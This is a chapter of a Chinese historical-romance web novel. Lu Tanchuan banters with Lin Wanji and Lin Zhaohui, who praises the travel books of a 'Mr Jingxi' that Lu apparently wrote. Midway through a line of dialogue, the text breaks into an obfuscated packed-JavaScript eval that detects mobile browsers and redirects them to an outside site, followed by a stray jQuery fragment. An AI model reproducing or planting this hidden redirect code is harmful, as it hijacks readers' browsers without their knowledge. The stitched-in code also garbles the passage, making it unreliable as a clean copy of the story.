“诶!”少女轻柔的嗓音飘落在他的耳朵里,陆檀川喜笑颜开,忙连声应道。
“真是好乖巧的妹妹,娴静文雅,不像有些人……”
陆檀川目光有意无意地往旁边斜了斜,林晚霁随即意识到他想说什么,连忙气鼓鼓地踮脚,用力揪起他的耳朵:“陆檀川!”
“诶诶诶,姑奶奶,我错了还不成,不说了不说了,疼死了……”
陆檀川龇牙咧嘴,十分夸张地求饶,瞧着模样很是滑稽,一时间亭内的众人不免都笑了起来。
林晚霁恶狠狠瞪了他一眼,这才偏过头来落座在石凳上,对着昭蕙解释道:“他惯是个不着调的,平日里总没个正形,咱们不必去理会他。”
“哪有你这般说哥哥的。”陆檀川闻言,不免又是在她背后好一阵做鬼脸。
林昭蕙不由得被逗笑,摇头道:“姐姐与檀川哥哥是自幼一道长大的兄妹,情分自然深厚些。蕙儿见姐姐这般,便想起了二哥哥与三哥哥,平日里也是这般同蕙儿玩闹的。”
“四妹妹也有哥哥?平日里兄妹间都做些什么?蕙儿妹妹瞧着这般温婉娴淑,定会与哥哥好生相处,才不会像这皮猴子……”
林晚霁转过头来,抢过他手中的折扇,对着他的肩膀又是狠狠敲了一下。
陆檀川吃痛地捂住右臂,龇牙咧嘴道:“你瞧瞧,不过是说了两句玩笑话,女阎罗又要来欺负人了!”
陆檀川好动,平日里虽总不着调,但他是天生的好脾气,为人又仗义,因此人缘极好。
陆老爷夫妇俩平日里最头疼这个跳脱的小儿子,头脑生得十分聪明,是个读书的好料子——可偏偏心思不在科考上,最爱游山玩水,叫他去一趟上京赶考,旁人都在刻苦温书,他权当是游乐一番,一路北上,遍览各地山川风物。至于春闱落榜,他也没觉得有什么大不了的,往日里总被夫子拘在书院里,如今好不容易有机会云游一番,自然是乐在其中。
不过是相处片刻的功夫,林昭蕙便对他无端生出许多亲近来。
他与自家两个双胞哥哥不同,林淮真与林淮杨虽有少年心性,但到底不敢胡来,老老实实地被管教着去上林书院读书考学,绝不敢作出多么出格的事情来,否则二夫人俞氏非扒了他们的皮不可。而陆檀川则不同,许是陆家老爷夫妇俩放养着长大,总是无拘无束的,虽不似其他学子一般走在“正道”上,可如此这般顺着自己的心意行事,早已胜过旁人许多。
想到这里,林昭蕙笑眯眯开口:“我家哥哥不似檀川哥哥这般幽默风趣,谈笑风生的,一个是闷葫芦,另一个嘴毒得恨不得喝口粥都要将自己毒死才是。平日里多有母亲管束着,因我闲暇时最爱看杂书,哥哥们便去京中的各处书坊买来游记,每月从书院告假时偷偷带给我看。”
见林昭蕙这般形容林淮真,不知为何,林晚霁的脑中又浮现出徐清漪娇羞的面容来,唇边也不由得弯起弧度。
那么一个清冷如玉的美人儿,若是与风度翩翩的林淮真站在一处,倒真是郎才女貌极为相配的一对,只怕下次再回安平侯府时,那徐家姑娘已然是她的二嫂嫂了。
“哦?蕙儿妹妹也爱看游记?”
陆檀川闻言,一双眼眸都亮了起来,他就近在石凳上坐下,单手支在石桌上,眯起眼睛笑道:“蕙儿妹妹果然是性情中人,品味高雅啊!我也最爱看游记了,不光如此,我还爱去各州四地游历,品味那书中未曾写过的山川风物……”
被陆檀川这么一夸,林晚霁有些不好意思,闹了个脸红。
平日里她看这些闲书都是要躲着母亲的,便是乐意带游记回来给自己看的两个哥哥,在这上面也无多少意兴,不过是哄得自己开心罢了。晚姐姐倒是博览群书,只是瞧着她也不似自己这般痴迷。
如今竟有人同自己志趣相投,还把这等子闲书夸成天上有地上无,林昭蕙不免也亮了亮眼睛,接话道:“若非是此次同姐姐一道来扬州,我还从未出过京城呢!我也想如檀川哥哥一般遍游各州,看看游记里写的那些风土人情究竟是什么样子,只可惜……”
林昭蕙说到这里,忽然有些缄默。是啊,只可惜她身是女儿身,便是一时来了扬州,日后也得回林家,终日困在四四方方的小院里,不能如陆檀川那般活得潇洒恣意。
意识到自己说的话惹出了面前少女的万千愁绪,陆檀川有些不好意思地挠挠头,连忙转移话题:“不说这个了,蕙儿妹妹平日里最爱看的游记有哪些?我这儿可有不少好东西,若是你没看过,我给你送上几本。”
“《九州游侠传》!”
见陆檀川提起话头,林昭蕙刚刚压抑下去的情绪又很快高涨,一双眼睛亮亮的:“看过那么多本游记,最好看的当然要属《九州游侠传》了!从第一册到第十五册,我可是一本不落地追完了,只可惜这两个月还没等到镜溪先生出版第十六册……”
陆檀川本欲拿过茶盏喝一口水,待到听到林昭蕙所说的话时,一个没忍住,竟是悉数将茶水都喷了出来。见面前的二人都有些嫌弃和不解地看向自己,陆檀川轻咳了两声,努力掩饰住心中的慌乱:“咳咳……没想到你爱看这个,写得有那么好吗,我觉得倒不如……”
“你懂什么!”
见陆檀川这般诋毁自己最爱的书,林昭蕙登时便不高兴了,方才对他产生的那一二分亲近与好感也荡然无存,拧眉叉腰道:“那可是镜溪先生,我不允许你这么说他!你说论文才,谁能写得如他那般笔走龙蛇、灵动生趣?论情节,从岭南一至行到羌州,谁又有镜溪先生这般阅历丰富,叫人如临亲至?”
陆檀川一口茶水没下来,闻言不住地咳嗽着,憋红了脸,握着茶盏的手都随着身体的起伏不住颤抖着。可偏偏林昭蕙没打算放过他,见他这般窘迫,还横眉道:“怎么,在镜溪先生写的书前,你也自惭形秽了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15867445|164081||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
吧?”
林晚霁见他也不似往日那般风趣自如,难得看到他这般慌张羞窘的样子,不免也跟着打趣道:“某人这是怎么了?那镜溪先生好好写着书,究竟是何处得罪了陆二公子,叫你这般看轻诋毁于他?”
“就是啊。”林昭蕙也跟着帮腔,气鼓鼓道:“镜溪先生游历半生,阅遍九州,才著成此书,功底深厚,岂是我等无甚见识之人可以随意评头论足的?要我说,此书就该广为流传,名垂千古,福泽后世……”
“咳咳咳,游历半生……”
陆檀川闻言,脸憋得更红了,不住地咳嗽着,一时上气不接下气的。见面前的二人都狐疑地盯着自己,陆檀川有些心虚,只好打着哈哈蒙混过关:“是是是,镜溪先生写得是好,我只是说,还有其他先生写的游记也不逊色于他,绝无怠慢之意!两位姑娘饶命,饶命……”
“胡说!”林昭蕙对于他的回答还是不满意,狠狠瞪了他一眼,仍旧撇着嘴角:“各处书坊的游记我看了不少了,没有上千也有百本,从未有见过如镜溪先生一般写得如此惊才绝艳惊逸绝伦的,我看分明是你心眼狭隘,嫉妒镜溪先生……”
得,又是一位姑奶奶。陆檀川无奈地叹了口气,连忙拱手作揖求饶,只是面上却是止不住的笑意:“是是是,是我心眼小,还请两位姑娘大人有大量,饶了我去吧。”
“好了好了,昭蕙也是同你闹着玩儿呢。”
林晚霁见二人这般熟络起来,唇边也漾着一丝笑意:“你若是真心要赔罪,那便合该将镜溪先生所著的全书都悉数买来给昭蕙赔罪才是。改明儿她便要去青崖书院读书了,你这个做哥哥的,可得好生照应她。”
“这是自然。”陆檀川拍着胸脯保证,瞧着模样很是夸张:“你哥哥我别的本事不说,若是在书院里,那可是能横着走的。有我罩着,谁敢找蕙儿妹妹不痛快?”
“到底是你家书院还是我家书院?”
林晚霁见他又恢复了这副皮实的样子,不免又是狠狠敲了一下他的后背:“好啊,我竟不知如今书院的名声全都被你给败坏了,真是山中无老虎,猴子称大王……”
“姑奶奶饶命,小的知错,小的知错!”
陆檀川吃痛地揉了揉肩膀,默默将凳子移得离她远了些:“我这两日告假,祝师兄听闻你来扬州了,很是欢喜,约着明日咱们一道去杏帘山庄小聚呢,你去是不去?”
祝修明年纪比陆檀川和林晚霁都要大些,因此二人一直以祝师兄相称。林晚霁闻言,连忙点头道:“去,自然是要去的。只是如今咱们该改口叫祝大人了才是呢。”
祝修明如今在扬州的青塘县任七品的县令,离扬州城倒是很近,平日里往来也很是方便。
“好!那便就这么说定了!”陆檀川面上扬起一个灿烂的笑容,将手中摇着的折扇一合:“我这就吩咐伙计备上好酒菜肴,明日咱们大快朵颐一番!”